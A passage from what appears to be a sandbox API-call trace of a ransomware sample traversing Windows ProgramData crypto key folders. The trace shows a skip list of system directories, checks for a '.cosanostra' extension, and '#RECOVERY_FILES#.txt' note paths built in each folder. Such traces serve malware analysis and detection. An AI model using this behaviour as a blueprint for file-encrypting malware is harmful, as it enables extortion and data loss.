pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\#RECOVERY_FILES#.txt") returned 71 [0079.479] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\#RECOVERY_FILES#.txt") returned 71 [0079.480] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0079.480] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0079.480] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\#RECOVERY_FILES#.txt") returned 67 [0079.480] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\#RECOVERY_FILES#.txt") returned 67 [0079.480] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.480] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.480] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\#RECOVERY_FILES#.txt") returned 60 [0079.480] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\#RECOVERY_FILES#.txt") returned 60 [0079.481] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.481] lstrcmpiW (lpString1="Crypto", lpString2="Windows") returned -1 [0079.481] lstrlenW (lpString="Windows") returned 7 [0079.481] lstrcmpiW (lpString1="Crypto", lpString2="Program Files") returned -1 [0079.481] lstrlenW (lpString="Program Files") returned 13 [0079.481] lstrcmpiW (lpString1="Crypto", lpString2="Program Files (x86)") returned -1 [0079.481] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.481] lstrcmpiW (lpString1="Crypto", lpString2="$Recycle.bin") returned 1 [0079.482] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.482] lstrcmpiW (lpString1="Crypto", lpString2="System Volume Information") returned -1 [0079.482] lstrlenW (lpString="System Volume Information") returned 25 [0079.482] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto") returned 35 [0079.482] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1 [0079.482] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1 [0079.482] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\*") returned 37 [0079.482] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.482] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.482] lstrlenW (lpString="Windows") returned 7 [0079.482] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.482] lstrlenW (lpString="Program Files") returned 13 [0079.483] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.483] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.483] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.483] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.483] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.483] lstrlenW (lpString="System Volume Information") returned 25 [0079.483] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\.") returned 37 [0079.483] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.483] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.483] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.483] lstrlenW (lpString="Windows") returned 7 [0079.483] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.483] lstrlenW (lpString="Program Files") returned 13 [0079.483] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.483] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.483] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.483] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.483] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.483] lstrlenW (lpString="System Volume Information") returned 25 [0079.483] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\..") returned 38 [0079.483] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.483] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.483] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.483] lstrcmpiW (lpString1="DSS", lpString2="Windows") returned -1 [0079.483] lstrlenW (lpString="Windows") returned 7 [0079.483] lstrcmpiW (lpString1="DSS", lpString2="Program Files") returned -1 [0079.483] lstrlenW (lpString="Program Files") returned 13 [0079.483] lstrcmpiW (lpString1="DSS", lpString2="Program Files (x86)") returned -1 [0079.483] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.483] lstrcmpiW (lpString1="DSS", lpString2="$Recycle.bin") returned 1 [0079.483] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.483] lstrcmpiW (lpString1="DSS", lpString2="System Volume Information") returned -1 [0079.483] lstrlenW (lpString="System Volume Information") returned 25 [0079.483] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned 39 [0079.484] lstrcmpW (lpString1="DSS", lpString2=".") returned 1 [0079.484] lstrcmpW (lpString1="DSS", lpString2="..") returned 1 [0079.484] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*") returned 41 [0079.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0079.485] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.485] lstrlenW (lpString="Windows") returned 7 [0079.485] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.485] lstrlenW (lpString="Program Files") returned 13 [0079.485] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.485] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.485] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.485] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.485] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.485] lstrlenW (lpString="System Volume Information") returned 25 [0079.485] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\.") returned 41 [0079.485] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.485] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.485] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.485] lstrlenW (lpString="Windows") returned 7 [0079.485] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.485] lstrlenW (lpString="Program Files") returned 13 [0079.485] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.485] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.485] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.485] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.485] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.485] lstrlenW (lpString="System Volume Information") returned 25 [0079.485] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\..") returned 42 [0079.485] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.485] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.485] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.485] lstrcmpiW (lpString1="MachineKeys", lpString2="Windows") returned -1 [0079.485] lstrlenW (lpString="Windows") returned 7 [0079.485] lstrcmpiW (lpString1="MachineKeys", lpString2="Program Files") returned -1 [0079.485] lstrlenW (lpString="Program Files") returned 13 [0079.485] lstrcmpiW (lpString1="MachineKeys", lpString2="Program Files (x86)") returned -1 [0079.485] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.485] lstrcmpiW (lpString1="MachineKeys", lpString2="$Recycle.bin") returned 1 [0079.485] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.485] lstrcmpiW (lpString1="MachineKeys", lpString2="System Volume Information") returned -1 [0079.485] lstrlenW (lpString="System Volume Information") returned 25 [0079.486] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned 51 [0079.486] lstrcmpW (lpString1="MachineKeys", lpString2=".") returned 1 [0079.486] lstrcmpW (lpString1="MachineKeys", lpString2="..") returned 1 [0079.486] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*") returned 53 [0079.486] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0079.486] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.486] lstrlenW (lpString="Windows") returned 7 [0079.486] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.486] lstrlenW (lpString="Program Files") returned 13 [0079.486] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.486] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.486] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.486] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.486] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.486] lstrlenW (lpString="System Volume Information") returned 25 [0079.486] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\.") returned 53 [0079.487] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.487] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.487] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.487] lstrlenW (lpString="Windows") returned 7 [0079.487] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.487] lstrlenW (lpString="Program Files") returned 13 [0079.487] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.487] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.487] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.487] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.487] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.487] lstrlenW (lpString="System Volume Information") returned 25 [0079.487] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\..") returned 54 [0079.487] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.487] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.487] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0079.487] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0079.487] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\#RECOVERY_FILES#.txt") returned 72 [0079.487] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\#RECOVERY_FILES#.txt") returned 72 [0079.487] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0079.487] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0079.487] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\#RECOVERY_FILES#.txt") returned 60 [0079.487] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\#RECOVERY_FILES#.txt") returned 60 [0079.487] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.487] lstrcmpiW (lpString1="Keys", lpString2="Windows") returned -1 [0079.488] lstrlenW (lpString="Windows") returned 7 [0079.488] lstrcmpiW (lpString1="Keys", lpString2="Program Files") returned -1 [0079.488] lstrlenW (lpString="Program Files") returned 13 [0079.488] lstrcmpiW (lpString1="Keys", lpString2="Program Files (x86)") returned -1 [0079.488] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.488] lstrcmpiW (lpString1="Keys", lpString2="$Recycle.bin") returned 1 [0079.488] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.488] lstrcmpiW (lpString1="Keys", lpString2="System Volume Information") returned -1 [0079.488] lstrlenW (lpString="System Volume Information") returned 25 [0079.488] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned 40 [0079.488] lstrcmpW (lpString1="Keys", lpString2=".") returned 1 [0079.488] lstrcmpW (lpString1="Keys", lpString2="..") returned 1 [0079.488] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*") returned 42 [0079.488] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0079.489] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.489] lstrlenW (lpString="Windows") returned 7 [0079.489] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.489] lstrlenW (lpString="Program Files") returned 13 [0079.489] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.489] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.489] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.489] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.489] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.489] lstrlenW (lpString="System Volume Information") returned 25 [0079.489] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\.") returned 42 [0079.489] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.489] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0079.489] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.489] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0079.489] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\.") returned 42 [0079.489] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.489] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.489] lstrlenW (lpString="Windows") returned 7 [0079.489] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.489] lstrlenW (lpString="Program Files") returned 13 [0079.489] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.489] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.489] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.489] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.489] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.489] lstrlenW (lpString="System Volume Information") returned 25 [0079.489] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\..") returned 43 [0079.489] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.489] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.489] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0079.489] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.489] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0079.489] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\..") returned 43 [0079.489] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0079.489] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0079.490] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\#RECOVERY_FILES#.txt") returned 61 [0079.490] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\#RECOVERY_FILES#.txt") returned 61 [0079.490] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.490] lstrcmpiW (lpString1="RSA", lpString2="Windows") returned -1 [0079.490] lstrlenW (lpString="Windows") returned 7 [0079.490] lstrcmpiW (lpString1="RSA", lpString2="Program Files") returned 1 [0079.490] lstrlenW (lpString="Program Files") returned 13 [0079.490] lstrcmpiW (lpString1="RSA", lpString2="Program Files (x86)") returned 1 [0079.490] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.490] lstrcmpiW (lpString1="RSA", lpString2="$Recycle.bin") returned 1 [0079.490] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.490] lstrcmpiW (lpString1="RSA", lpString2="System Volume Information") returned -1 [0079.490] lstrlenW (lpString="System Volume Information") returned 25 [0079.490] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned 39 [0079.490] lstrcmpW (lpString1="RSA", lpString2=".") returned 1 [0079.490] lstrcmpW (lpString1="RSA", lpString2="..") returned 1 [0079.490] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*") returned 41 [0079.490] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0079.490] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.490] lstrlenW (lpString="Windows") returned 7 [0079.490] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.490] lstrlenW (lpString="Program Files") returned 13 [0079.490] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.490] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.490] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.490] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.490] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.490] lstrlenW (lpString="System Volume Information") returned 25 [0079.490] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\.") returned 41 [0079.490] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.490] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.491] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.491] lstrlenW (lpString="Windows") returned 7 [0079.491] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.491] lstrlenW (lpString="Program Files") returned 13 [0079.491] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.491] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.491] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.491] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.491] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.491] lstrlenW (lpString="System Volume Information") returned 25 [0079.491] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\..") returned 42 [0079.491] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.491] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.491] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.491] lstrcmpiW (lpString1="MachineKeys", lpString2="Windows") returned -1 [0079.491] lstrlenW (lpString="Windows") returned 7 [0079.491] lstrcmpiW (lpString1="MachineKeys", lpString2="Program Files") returned -1 [0079.491] lstrlenW (lpString="Program Files") returned 13 [0079.491] lstrcmpiW (lpString1="MachineKeys", lpString2="Program Files (x86)") returned -1 [0079.491] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.491] lstrcmpiW (lpString1="MachineKeys", lpString2="$Recycle.bin") returned 1 [0079.491] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.491] lstrcmpiW (lpString1="MachineKeys", lpString2="System Volume Information") returned -1 [0079.491] lstrlenW (lpString="System Volume Information") returned 25 [0079.491] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 51 [0079.491] lstrcmpW (lpString1="MachineKeys", lpString2=".") returned 1 [0079.491] lstrcmpW (lpString1="MachineKeys", lpString2="..") returned 1 [0079.491] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*") returned 53 [0079.491] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0079.491] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.491] lstrlenW (lpString="Windows") returned 7 [0079.491] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.491] lstrlenW (lpString="Program Files") returned 13 [0079.491] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.491] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.491] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.491] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.492] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.492] lstrlenW (lpString="System Volume Information") returned 25 [0079.492] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\.") returned 53 [0079.492] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.492] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.492] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.492] lstrlenW (lpString="Windows") returned 7 [0079.492] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.492] lstrlenW (lpString="Program Files") returned 13 [0079.492] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.492] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.492] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.492] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.492] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.492] lstrlenW (lpString="System Volume Information") returned 25 [0079.492] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\..") returned 54 [0079.492] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.492] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.492] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0079.492] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0079.492] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\#RECOVERY_FILES#.txt") returned 72 [0079.492] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\#RECOVERY_FILES#.txt") returned 72 [0079.492] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.492] lstrcmpiW (lpString1="S-1-5-18", lpString2="Windows") returned -1 [0079.492] lstrlenW (lpString="Windows") returned 7 [0079.492] lstrcmpiW (lpString1="S-1-5-18", lpString2="Program Files") returned 1 [0079.492] lstrlenW (lpString="Program Files") returned 13 [0079.492] lstrcmpiW (lpString1="S-1-5-18", lpString2="Program Files (x86)") returned 1 [0079.492] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.492] lstrcmpiW (lpString1="S-1-5-18", lpString2="$Recycle.bin") returned 1 [0079.492] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.492] lstrcmpiW (lpString1="S-1-5-18", lpString2="System Volume Information") returned -1 [0079.492] lstrlenW (lpString="System Volume Information") returned 25 [0079.492] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned 48 [0079.492] lstrcmpW (lpString1="S-1-5-18", lpString2=".") returned 1 [0079.492] lstrcmpW (lpString1="S-1-5-18", lpString2="..") returned 1 [0079.492] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned 50 [0079.492] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0079.495] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.495] lstrlenW (lpString="Windows") returned 7 [0079.495] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.495] lstrlenW (lpString="Program Files") returned 13 [0079.495] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.495] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.495] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.495] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.495] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.495] lstrlenW (lpString="System Volume Information") returned 25 [0079.495] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\.") returned 50 [0079.495] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.495] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0079.495] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.495] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0079.495] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\.") returned 50 [0079.495] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: 